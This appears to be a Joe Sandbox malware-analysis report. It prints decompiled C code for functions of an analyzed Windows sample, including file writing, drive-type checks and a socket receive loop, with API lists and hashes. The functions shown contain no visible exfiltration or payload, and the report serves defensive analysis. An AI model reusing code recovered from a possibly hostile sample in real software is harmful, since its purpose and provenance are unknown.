                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040BCC0(char _a4) {
				char _v8;
				signed int _v12;
				void* _t20;

				if(_a4 != 0) {
					_v8 = _a4;
					_t4 =  &_v8; // 0x40eb74
					EnterCriticalSection( *_t4 + 4);
					_v12 = 0;
					while(1) {
						_t8 =  &_v8; // 0x40eb74
						if(_v12 >=  *((intOrPtr*)( *_t8))) {
							break;
						}
						_t10 =  &_v8; // 0x40eb74
						CloseHandle( *( *((intOrPtr*)( *_t10 + 0x1c)) + _v12 * 4));
						_v12 = _v12 + 1;
					}
					_t15 =  &_v8; // 0x40eb74
					LeaveCriticalSection( *_t15 + 4);
					_t16 =  &_v8; // 0x40eb74
					DeleteCriticalSection( *_t16 + 4);
					_t17 =  &_v8; // 0x40eb74
					E00408B60( *((intOrPtr*)( *_t17 + 0x1c)));
					return E00408B60(_a4);
				}
				return _t20;
			}






                                                                                                                                                                                                                                                                                                                                                      0x0040bcca
                                                                                                                                                                                                                                                                                                                                                      0x0040bccf
                                                                                                                                                                                                                                                                                                                                                      0x0040bcd2
                                                                                                                                                                                                                                                                                                                                                      0x0040bcd9
                                                                                                                                                                                                                                                                                                                                                      0x0040bcdf
                                                                                                                                                                                                                                                                                                                                                      0x0040bcf1
                                                                                                                                                                                                                                                                                                                                                      0x0040bcf1
                                                                                                                                                                                                                                                                                                                                                      0x0040bcf9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bcfb
                                                                                                                                                                                                                                                                                                                                                      0x0040bd08
                                                                                                                                                                                                                                                                                                                                                      0x0040bcee
                                                                                                                                                                                                                                                                                                                                                      0x0040bcee
                                                                                                                                                                                                                                                                                                                                                      0x0040bd10
                                                                                                                                                                                                                                                                                                                                                      0x0040bd17
                                                                                                                                                                                                                                                                                                                                                      0x0040bd1d
                                                                                                                                                                                                                                                                                                                                                      0x0040bd24
                                                                                                                                                                                                                                                                                                                                                      0x0040bd2a
                                                                                                                                                                                                                                                                                                                                                      0x0040bd31
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bd42
                                                                                                                                                                                                                                                                                                                                                      0x0040bd48

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(t@), ref: 0040BCD9
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(t@), ref: 0040BD08
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(t@), ref: 0040BD17
                                                                                                                                                                                                                                                                                                                                                      • DeleteCriticalSection.KERNEL32(t@), ref: 0040BD24
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$CloseDeleteEnterHandleLeave
                                                                                                                                                                                                                                                                                                                                                      • String ID: t@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3102160386-2916730932
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a1ab745fad7501da37c197aae5d53699fda19d380a66c4ee372e72496f571e27
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2cc5e102500f812b51bf30b22b1833369305ce7f6dc2cc51e54c9f5ca9737bcf
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a1ab745fad7501da37c197aae5d53699fda19d380a66c4ee372e72496f571e27
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BB110CB4900208EFDB04DFA4D994A9DB7B5FF44309F2081A9E80667341DB39EE91DB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409550 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409550(void* __eax) {
				void* _v8;
				long _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				void* _t38;

				if( *0x4156e4 == 0) {
					return __eax;
				}
				_v12 =  *0x4156e4 << 3;
				_t38 = E00408A10(_v12);
				_v8 = _t38;
				if(_v8 != 0) {
					_v20 = 0;
					while(_v20 <  *0x4156e4) {
						 *((intOrPtr*)(_v8 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v20 * 4)) + 4));
						 *((intOrPtr*)(_v8 + 4 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v20 * 4)) + 8));
						_v20 = _v20 + 1;
					}
					_v16 = CreateFileW(0x4154a0, 0x40000000, 0, 0, 2, 2, 0);
					if(_v16 != 0xffffffff) {
						WriteFile(_v16, _v8, _v12,  &_v24, 0);
						FlushFileBuffers(_v16);
						CloseHandle(_v16);
					}
					InterlockedExchange(0x4133b4, 0x3d);
					return E00408B60(_v8);
				}
				return _t38;
			}









                                                                                                                                                                                                                                                                                                                                                      0x0040955d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040956c
                                                                                                                                                                                                                                                                                                                                                      0x00409573
                                                                                                                                                                                                                                                                                                                                                      0x0040957b
                                                                                                                                                                                                                                                                                                                                                      0x00409582
                                                                                                                                                                                                                                                                                                                                                      0x00409588
                                                                                                                                                                                                                                                                                                                                                      0x0040959a
                                                                                                                                                                                                                                                                                                                                                      0x004095b8
                                                                                                                                                                                                                                                                                                                                                      0x004095ce
                                                                                                                                                                                                                                                                                                                                                      0x00409597
                                                                                                                                                                                                                                                                                                                                                      0x00409597
                                                                                                                                                                                                                                                                                                                                                      0x004095ee
                                                                                                                                                                                                                                                                                                                                                      0x004095f5
                                                                                                                                                                                                                                                                                                                                                      0x00409609
                                                                                                                                                                                                                                                                                                                                                      0x00409613
                                                                                                                                                                                                                                                                                                                                                      0x0040961d
                                                                                                                                                                                                                                                                                                                                                      0x0040961d
                                                                                                                                                                                                                                                                                                                                                      0x0040962a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409639
                                                                                                                                                                                                                                                                                                                                                      0x0040963f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(004154A0,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004095E8
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 00409609
                                                                                                                                                                                                                                                                                                                                                      • FlushFileBuffers.KERNEL32(000000FF), ref: 00409613
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040961D
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(004133B4,0000003D), ref: 0040962A
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 442028454-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 44629333c76e7f51d725d9b3129c1665a36dc87bf9941255678efda717a4e509
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2ffc30a578c88fb727a6e2804b49e756420dce523dc86a649cc100c8bc156063
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 44629333c76e7f51d725d9b3129c1665a36dc87bf9941255678efda717a4e509
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1A314BB4A00208EBCB14DF94DD85BEEB7B0FB88300F208569E51567391C779AE41CB58
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00407460 Relevance: 7.5, APIs: 5, Instructions: 48COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 46%
                                                                                                                                                                                                                                                                                                                                                      			E00407460(signed int __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;

				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				_v12 = _a4 | _a8 | _a12 | _a16 | _a20 | _a24;
				_v8 = __edx | __edx | __edx | __edx | __edx | __edx;
				return _v12;
			}





                                                                                                                                                                                                                                                                                                                                                      0x0040746b
                                                                                                                                                                                                                                                                                                                                                      0x0040746e
                                                                                                                                                                                                                                                                                                                                                      0x0040747a
                                                                                                                                                                                                                                                                                                                                                      0x0040747d
                                                                                                                                                                                                                                                                                                                                                      0x00407489
                                                                                                                                                                                                                                                                                                                                                      0x0040748c
                                                                                                                                                                                                                                                                                                                                                      0x00407498
                                                                                                                                                                                                                                                                                                                                                      0x0040749b
                                                                                                                                                                                                                                                                                                                                                      0x004074a7
                                                                                                                                                                                                                                                                                                                                                      0x004074aa
                                                                                                                                                                                                                                                                                                                                                      0x004074b6
                                                                                                                                                                                                                                                                                                                                                      0x004074bb
                                                                                                                                                                                                                                                                                                                                                      0x004074be
                                                                                                                                                                                                                                                                                                                                                      0x004074cc

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _allshl
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 435966717-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c834da27c38f1d1587680a3d7542820723786c9711e1151820a3c1e6e334eb45
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 51F03172905428AB9710EEEF84424CAF7E6AF883A4B118576F818E3360E9719D1146F2
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DBF0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38synchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040DBF0(intOrPtr* __ebx, void* __edi) {
				void* _t8;
				intOrPtr* _t18;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t28;

				_t18 = __ebx;
				if(__ebx != 0 &&  *__ebx == 0x756470) {
					SetEvent( *(__ebx + 0x10));
					WaitForSingleObject( *(__ebx + 0x14), 0xffffffff);
					CloseHandle( *(__ebx + 0x14));
					_t26 =  *((intOrPtr*)(__ebx + 0x20));
					if(_t26 == 0) {
						L6:
						E004094F0( *((intOrPtr*)(_t18 + 8)));
						return E00408B60(_t18);
					}
					do {
						E00408B60( *((intOrPtr*)(_t26 + 0x18)));
						_t23 =  *((intOrPtr*)(_t26 + 0x1c));
						E00408B60(_t26);
						_t28 = _t28 + 8;
						_t26 = _t23;
					} while (_t23 != 0);
					goto L6;
				}
				return _t8;
			}








                                                                                                                                                                                                                                                                                                                                                      0x0040dbf0
                                                                                                                                                                                                                                                                                                                                                      0x0040dbf2
                                                                                                                                                                                                                                                                                                                                                      0x0040dc01
                                                                                                                                                                                                                                                                                                                                                      0x0040dc0d
                                                                                                                                                                                                                                                                                                                                                      0x0040dc17
                                                                                                                                                                                                                                                                                                                                                      0x0040dc1d
                                                                                                                                                                                                                                                                                                                                                      0x0040dc22
                                                                                                                                                                                                                                                                                                                                                      0x0040dc41
                                                                                                                                                                                                                                                                                                                                                      0x0040dc45
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dc53
                                                                                                                                                                                                                                                                                                                                                      0x0040dc25
                                                                                                                                                                                                                                                                                                                                                      0x0040dc29
                                                                                                                                                                                                                                                                                                                                                      0x0040dc2e
                                                                                                                                                                                                                                                                                                                                                      0x0040dc32
                                                                                                                                                                                                                                                                                                                                                      0x0040dc37
                                                                                                                                                                                                                                                                                                                                                      0x0040dc3a
                                                                                                                                                                                                                                                                                                                                                      0x0040dc3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dc40
                                                                                                                                                                                                                                                                                                                                                      0x0040dc54

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • SetEvent.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC01
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,000000FF,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC0D
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC17
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00408B60: HeapFree.KERNEL32(00000000,00000000,00401192,?,00401192,?), ref: 00408BBB
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CloseEventFreeHandleHeapObjectSingleWait
                                                                                                                                                                                                                                                                                                                                                      • String ID: pdu
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 309973729-2320407122
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 49e35f90c4752f23d2c87c60ac00a8068e991b789f234c60c2a80c03126b38f2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 34e35511c2eb274b118701d3934c81f7f6e0c7c0513ff925c9eef8893f918f8e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 49e35f90c4752f23d2c87c60ac00a8068e991b789f234c60c2a80c03126b38f2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 52F0C8B28042109BCB24AFA5EC84D5777789E84321304466EFC457738ACA7CEC8AC7A8
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404B40 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404B40(WCHAR* _a4) {
				int _v8;
				short _v1052;
				intOrPtr _v1056;

				_v8 = GetDriveTypeW(_a4);
				_v1056 = _v8;
				if(_v1056 >= 2) {
					if(_v1056 <= 3 || _v1056 == 6) {
						if(QueryDosDeviceW(_a4,  &_v1052, 0x208) != 0 && StrCmpNW( &_v1052, L"\\??\\", 4) == 0) {
							_v8 = 1;
						}
					}
				}
				return _v8;
			}






                                                                                                                                                                                                                                                                                                                                                      0x00404b53
                                                                                                                                                                                                                                                                                                                                                      0x00404b59
                                                                                                                                                                                                                                                                                                                                                      0x00404b66
                                                                                                                                                                                                                                                                                                                                                      0x00404b6f
                                                                                                                                                                                                                                                                                                                                                      0x00404b94
                                                                                                                                                                                                                                                                                                                                                      0x00404bae
                                                                                                                                                                                                                                                                                                                                                      0x00404bae
                                                                                                                                                                                                                                                                                                                                                      0x00404b94
                                                                                                                                                                                                                                                                                                                                                      0x00404b6f
                                                                                                                                                                                                                                                                                                                                                      0x00404bbb

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetDriveTypeW.KERNEL32(00404BFF), ref: 00404B4D
                                                                                                                                                                                                                                                                                                                                                      • QueryDosDeviceW.KERNEL32(00404BFF,?,00000208), ref: 00404B8C
                                                                                                                                                                                                                                                                                                                                                      • StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00404BA4
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: DeviceDriveQueryType
                                                                                                                                                                                                                                                                                                                                                      • String ID: \??\
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1681518211-3047946824
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0cc65059e2213257c0b06d5a0aa75501f96d2483c5671e2eb6b001ad2bc10b43
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: d7e4f12292dd92e978d998afc9571577f2852cc916d148133fdc328a7213dc46
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0cc65059e2213257c0b06d5a0aa75501f96d2483c5671e2eb6b001ad2bc10b43
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B901E1B4940208ABCB20CF55DD49BD977B4AB44704F0081F9AB08A7280D6B5ABC5CF99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D070 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040D070(char _a4) {
				long _v8;
				void* _v12;

				_v8 = 0;
				_t2 =  &_a4; // 0x405440
				_v12 = CreateFileW( *_t2, 0x80000000, 1, 0, 3, 0, 0);
				if(_v12 != 0xffffffff) {
					_v8 = GetFileSize(_v12, 0);
					CloseHandle(_v12);
				}
				return _v8;
			}





                                                                                                                                                                                                                                                                                                                                                      0x0040d076
                                                                                                                                                                                                                                                                                                                                                      0x0040d08c
                                                                                                                                                                                                                                                                                                                                                      0x0040d096
                                                                                                                                                                                                                                                                                                                                                      0x0040d09d
                                                                                                                                                                                                                                                                                                                                                      0x0040d0ab
                                                                                                                                                                                                                                                                                                                                                      0x0040d0b2
                                                                                                                                                                                                                                                                                                                                                      0x0040d0b2
                                                                                                                                                                                                                                                                                                                                                      0x0040d0be

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(@T@,80000000,00000001,00000000,00000003,00000000,00000000,00405440), ref: 0040D090
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D0A5
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D0B2
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandleSize
                                                                                                                                                                                                                                                                                                                                                      • String ID: @T@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1378416451-667979026
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 4d1f4df1473c03c13be12acd2716f7b50fa2ec79510b8491761d2cfaa6b4a851
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BCF01274A40308FBDB20DFA4DC49B8DBB74AB04711F208155FA04772D0D6B55A458B54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D9C0 Relevance: 6.1, APIs: 4, Instructions: 84synchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 64%
                                                                                                                                                                                                                                                                                                                                                      			E0040D9C0(char* __edx, intOrPtr _a4) {
				short _v18;
				short _v22;
				short _v26;
				short _v28;
				short _v30;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v56;
				intOrPtr _v68;
				char* _t23;
				short _t26;
				long _t29;
				short _t34;
				intOrPtr _t37;
				intOrPtr _t43;
				long _t47;
				signed int _t48;
				void* _t50;

				_t40 = __edx;
				_t50 = (_t48 & 0xfffffff8) - 0x1c;
				_t34 = 0;
				_t43 = _a4;
				_v28 = 0;
				do {
					_t23 =  &_v32;
					_v32 = 0;
					__imp__#10( *(_t43 + 8), 0x4004667f, _t23);
					if(_t23 == 0xffffffff) {
						break;
					}
					_t37 = _v44;
					if(_t37 != 0) {
						if(_t34 == 0 || _v40 < _t37) {
							_v40 = _t37;
							_t26 = E00408A50(_t37, _t40, _t34, _t37);
							_t37 = _v44;
							_t50 = _t50 + 8;
							_t34 = _t26;
						}
						_v30 = 0;
						_v26 = 0;
						_v22 = 0;
						_v18 = 0;
						_t29 =  *(_t43 + 8);
						_v32 = 0;
						_t40 =  &_v32;
						_v36 = 0x10;
						__imp__#17(_t29, _t34, _t37, 0,  &_v32,  &_v36);
						_t47 = _t29;
						if(_t47 != 0xffffffff && _t47 != 0) {
							InterlockedExchangeAdd(_t43 + 0x18, _t47);
							_t40 =  &_v56;
							E0040D890(_t43, _t34, _t47, _v68,  &_v56);
							_t50 = _t50 + 0x14;
						}
					}
				} while (WaitForSingleObject( *(_t43 + 0x10), 1) == 0x102);
				return E00408B60(_t34);
			}























                                                                                                                                                                                                                                                                                                                                                      0x0040d9c0
                                                                                                                                                                                                                                                                                                                                                      0x0040d9c6
                                                                                                                                                                                                                                                                                                                                                      0x0040d9cb
                                                                                                                                                                                                                                                                                                                                                      0x0040d9ce
                                                                                                                                                                                                                                                                                                                                                      0x0040d9d1
                                                                                                                                                                                                                                                                                                                                                      0x0040d9d5
                                                                                                                                                                                                                                                                                                                                                      0x0040d9d8
                                                                                                                                                                                                                                                                                                                                                      0x0040d9e3
                                                                                                                                                                                                                                                                                                                                                      0x0040d9eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d9f4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d9fa
                                                                                                                                                                                                                                                                                                                                                      0x0040da00
                                                                                                                                                                                                                                                                                                                                                      0x0040da08
                                                                                                                                                                                                                                                                                                                                                      0x0040da12
                                                                                                                                                                                                                                                                                                                                                      0x0040da16
                                                                                                                                                                                                                                                                                                                                                      0x0040da1b
                                                                                                                                                                                                                                                                                                                                                      0x0040da1f
                                                                                                                                                                                                                                                                                                                                                      0x0040da22
                                                                                                                                                                                                                                                                                                                                                      0x0040da22
                                                                                                                                                                                                                                                                                                                                                      0x0040da28
                                                                                                                                                                                                                                                                                                                                                      0x0040da2c
                                                                                                                                                                                                                                                                                                                                                      0x0040da30
                                                                                                                                                                                                                                                                                                                                                      0x0040da34
                                                                                                                                                                                                                                                                                                                                                      0x0040da3e
                                                                                                                                                                                                                                                                                                                                                      0x0040da41
                                                                                                                                                                                                                                                                                                                                                      0x0040da46
                                                                                                                                                                                                                                                                                                                                                      0x0040da50
                                                                                                                                                                                                                                                                                                                                                      0x0040da58
                                                                                                                                                                                                                                                                                                                                                      0x0040da5e
                                                                                                                                                                                                                                                                                                                                                      0x0040da63
                                                                                                                                                                                                                                                                                                                                                      0x0040da6e
                                                                                                                                                                                                                                                                                                                                                      0x0040da78
                                                                                                                                                                                                                                                                                                                                                      0x0040da81
                                                                                                                                                                                                                                                                                                                                                      0x0040da86
                                                                                                                                                                                                                                                                                                                                                      0x0040da86
